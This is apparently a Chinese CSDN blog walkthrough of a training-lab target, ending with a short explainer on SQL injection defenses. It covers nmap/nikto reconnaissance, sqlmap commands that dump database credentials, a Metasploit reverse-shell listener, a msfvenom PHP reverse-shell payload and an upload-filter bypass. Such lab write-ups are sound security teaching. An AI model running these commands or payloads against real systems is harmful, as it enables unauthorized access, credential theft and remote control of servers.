SQL注入GET参数

本文深入探讨了SQL注入攻击原理,包括不当类型处理、不安全数据库配置等产生原因。通过使用Nmap、Nikto和OWASP ZAP等工具进行信息探测、漏洞扫描,详细讲解了如何利用SQLmap进行漏洞利用,最终实现获取服务器权限的过程。

1、SQL注入漏洞介绍

sql注入攻击指的是通过特殊的输入作为参数拆入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句中进而执行攻击者所要的操作,起主要原因是程序没有细致地过滤用户输入的数据,致使非法数据入侵系统。

SQL注入的产生原因通常表现在以下几个方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

2、信息探测

扫描主机服务信息以及服务版本

—nmap -sV 靶场IP地址

快速扫描主机全部信息

–nmap -T4 -A -v 靶场IP地址

探测敏感信息

–nikto -host http://靶场IP地址:端口

3、深入挖掘

分析nmap、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;

在nikto扫描的结果下,发现用户登录页面的信息

在这里插入图片描述

使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;

在这里插入图片描述
在这里插入图片描述

尝试admin,发现并不能直接登录到系统当中
我们想要进入系统后台,想到能不能来挖掘到系统当中的漏洞

4、漏洞扫描

web漏洞扫描器 owasp-zap(因为这个工具不更新,已经无法在新版本的Kali中运行了。所以被移除了,在命令行执行这个就可以使用了)

在这里插入图片描述

打开owasp-zap

在这里插入图片描述

输入靶场的IP地址,点击攻击(Attack)

在这里插入图片描述
在这里插入图片描述

左下角可以看到深黄色的旗帜,表示存在高危漏洞

5、漏洞利用

针对web进行漏洞扫描

对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。

使用sqlmap利用SQL注入漏洞

–sqlmap -u url -dbs 查看数据库名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现两个可以利用的数据库名,information_schema是系统自带的数据库

–sqlmap -u url -D “数据库名” -tables 查看对应数据库中的数据表

在这里插入图片描述

返回photoblog数据库中三个表明

在这里插入图片描述

–sqlmap -u url -D “数据库名” -T “表名” -columns 查看对应字段

在这里插入图片描述

返回表中对应的字段!

在这里插入图片描述

–sqlmap -u url -D “数据库名” -T “表名” -C “列名” -dump 查看对应字段的值

在这里插入图片描述

最后返回用户名密码

在这里插入图片描述

也可以直接尝试 sqlmap -u -url -os -shell 直接获取shell
在获取密码后进行登录

在这里插入图片描述

6、上传shell反弹权限

攻击机启动监听

在这里插入图片描述

生成木马文件
启动监听端

在这里插入图片描述

msf > use exploit/multi/handler
msf exploit(hander) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(hander) > set lhost 攻击机IP地址
msf exploit(hander) > set lport 4444
msf exploit(hander) > run

生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php

上传shell执行shell

–绕过过滤机制 利用.php修改为.PHP
最后监听端返回的shell

在这里插入图片描述

7、获取Flag

### 通过GET参数进行SQL注入攻击与防御方法 #### SQL注入攻击原理 SQL注入是一种安全漏洞,攻击者可以通过输入恶意的SQL代码来操纵数据库查询。当应用程序未对用户输入进行有效验证或转义时,攻击者可以利用GET请求中的参数注入恶意SQL语句[^1]。 #### 攻击示例 假设一个Web应用通过GET请求获取用户ID并查询数据库,其代码可能如下所示: ```php <?php $user_id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $user_id"; $result = mysqli_query($conn, $sql); ?> ``` 如果攻击者构造如下URL:`http://example.com/user.php?id=1 OR 1=1`,生成的SQL语句将变为: ```sql SELECT * FROM users WHERE id = 1 OR 1=1; ``` 这会导致查询返回所有用户的记录[^2]。 #### 防御方法 ##### 1. 参数化查询 使用参数化查询可以有效防止SQL注入。以下是PHP中使用PDO的示例: ```php <?php $stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute(['id' => $_GET['id']]); $result = $stmt->fetchAll(); ?> ``` 通过绑定参数,确保用户输入不会被直接嵌入到SQL语句中。 ##### 2. 输入验证 对GET参数进行严格的输入验证,确保其符合预期格式。例如,如果`id`应为整数,则可以使用以下代码: ```php <?php if (isset($_GET['id']) && ctype_digit($_GET['id'])) { $user_id = intval($_GET['id']); } else { die('Invalid input'); } ?> ``` 此方法可以过滤掉非法输入[^3]。 ##### 3. 使用ORM框架 ORM(对象关系映射)框架能够自动处理SQL查询的安全性问题。例如,在Python的Django框架中: ```python user = User.objects.get(id=user_id) ``` ORM会自动对参数进行转义和验证[^4]。 ##### 4. 最小权限原则 限制数据库用户的权限,避免其拥有不必要的操作权限。例如,仅授予`SELECT`、`INSERT`和`UPDATE`权限,而禁用`DROP`和`CREATE`等高危操作[^5]。 ##### 5. 输出编码与日志监控 对输出数据进行HTML编码以防止XSS攻击,并启用日志监控系统以检测异常查询行为[^4]。 ### 总结 通过GET参数进行SQL注入攻击的关键在于未验证或未转义的用户输入。防御措施包括使用参数化查询、严格输入验证、采用ORM框架、实施最小权限原则以及加强日志监控。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值